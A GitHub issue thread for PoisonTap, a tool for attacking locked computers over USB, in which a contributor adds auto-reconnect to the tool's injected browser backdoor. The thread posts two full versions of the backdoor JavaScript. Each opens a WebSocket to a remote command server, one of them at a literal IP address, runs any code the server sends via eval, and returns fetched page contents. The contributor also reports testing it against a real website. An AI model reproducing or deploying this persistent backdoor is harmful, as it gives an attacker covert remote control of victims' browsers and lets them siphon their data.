samyk / poisontap

Exploits locked/password protected computers over USB, drops persistent WebSocket-based backdoor, exposes internal router, and siphons cookies using Raspberry Pi Zero & Node.js.

Home Page:https://samy.pl/poisontap/

Geek Repo:Geek Repo

Github PK Tool:Github PK Tool

[Feature] Websocket auto reconnect

KALRONG opened this issue · comments

Hi,

I tried to add the code proposed by samyk in #29 (comment) without much luck. I tried changing the first script under backdoor.html with that code.

I think the websocket reconnect is important for cases like in (this is from my tests) windows 10 with chrome where the websocket aborts when you remove the PT and due to the caching issue in chrome you can't perform and f5, if the websocket tried to reconnect I think this should fix the issue.

That said, I must thanks Samyk and everybody posting here, for this incredible tool and with the issues marked help resolve any issues I could find :)

I haven't tested the code I wrote in there, but what happens when you use it? Specifically what happens in the Network tab of your browser inspector? Do you seem connection attempts? In the browser inspector Console, are there errors/notices?

I have tested the following scenarios:

  • Windows 10 with latest updates:
    -- Chrome: Cache doesn't seem to work. If the PT is plugged I can see the ws timeout, if I unplug the PT before it times out the ws aborts the connection (shows connection aborted error).
    -- Firefox and IE: Works like a charm.
  • Linux:
    -- Chrome/Chromium: Same as in Windows but when I disconnect the PT before the timeout it actually connects but still no cache.
    -- Firefox: Works fine.

In all cases I have tested with http://www.nfl.com for the initial attack and then http://www.nfl.com/PoisonTap for testing the backdoor.

While the PT is plugged all the code is injected just fine, the main issue why I think reconnect could be handy is in the case of chrome, more so in windows due to the abort when unplugging the PT, so even if the cache is not working if the code is still loaded it will try again when internet is avaliable.

I think I messed something while changing the file I will try from scratch and let you know the results of my tests, but I will appreciate if you let me know where exactly should I paste the code, so far what I did is that in backdoor.html out of the two I replaced the first one with that code and left the connect outside of the <script> tag.

Hi Samy,

I got some time today and did the changes with the code on the commnet I mentioned, the script ended up like this:

<script type="text/javascript">
var obj;
var socket
var content = document.getElementById('content');

function handleObj(obj)
{
        if (obj.request == 'eval')
                eval(obj.content);
        else if (obj.request == 'get')
                $.ajax({url: obj.url})
                .done(function(h) { socket.send(JSON.stringify({'request': 'getresponse', 'html': h})); console.log(h); });
};

function connect(){

socket = new WebSocket('ws://YOUR-DOMAIN:1337');

socket.onopen = function () {
	socket.send(JSON.stringify({'req': 'hi'}));
	//socket.send('hello from the client');
};

socket.onmessage = function (message) {
    content.innerHTML += message.data +'<br />';
    try { obj = JSON.parse(message.data); } catch(e) { }
    if (typeof(obj) === 'object')
      handleObj(obj);
};

socket.onerror = socket.onclose = function (error) {
    console.log('WebSocket error or closed: ' + error);
    setTimeout(connect, 1000);
};

};

connect();
</script>

It works just fine, the only problem is that in every reconnect it spawns one more ws, meaning that after two reconnect you have three ws.

I have tested and apart from that the backdoor works just as fine as the original one.

After a few modifications I ended up with this code that works just fine, whenever the ws closes or shows and error its closed and a new one spawns.

<script type="text/javascript">
var obj;
var socket
var content = document.getElementById('content');

function handleObj(obj)
{
        if (obj.request == 'eval')
                eval(obj.content);
        else if (obj.request == 'get')
                $.ajax({url: obj.url})
                .done(function(h) { socket.send(JSON.stringify({'request': 'getresponse', 'html': h})); console.log(h); });
};

function connect(){

socket = new WebSocket('ws://104.131.128.216:1337');

socket.onopen = function () {
	socket.send(JSON.stringify({'req': 'hi'}));
	//socket.send('hello from the client');
};

socket.onmessage = function (message) {
    content.innerHTML += message.data +'<br />';
    try { obj = JSON.parse(message.data); } catch(e) { }
    if (typeof(obj) === 'object')
      handleObj(obj);
};

socket.onerror = socket.onclose = function (error) {
    console.log('WebSocket error or closed: ' + error);
    socket.close();
};

socket.onclose = function(e) {
    console.log('Socket is closed. Reconnect will be attempted in 1 second.', e.reason);
    setTimeout(function() {
      connect();
    }, 1000)
};
};

connect();
</script>

Only problem here is that when the network changes due to the PT being removed the route changes doesn't seem to apply properly to the website till you refresh it causing the ws to not reach the backend even if internet is restored.

So far I have tested this in linux with chromium and firefox and with chrome in windows with similar results.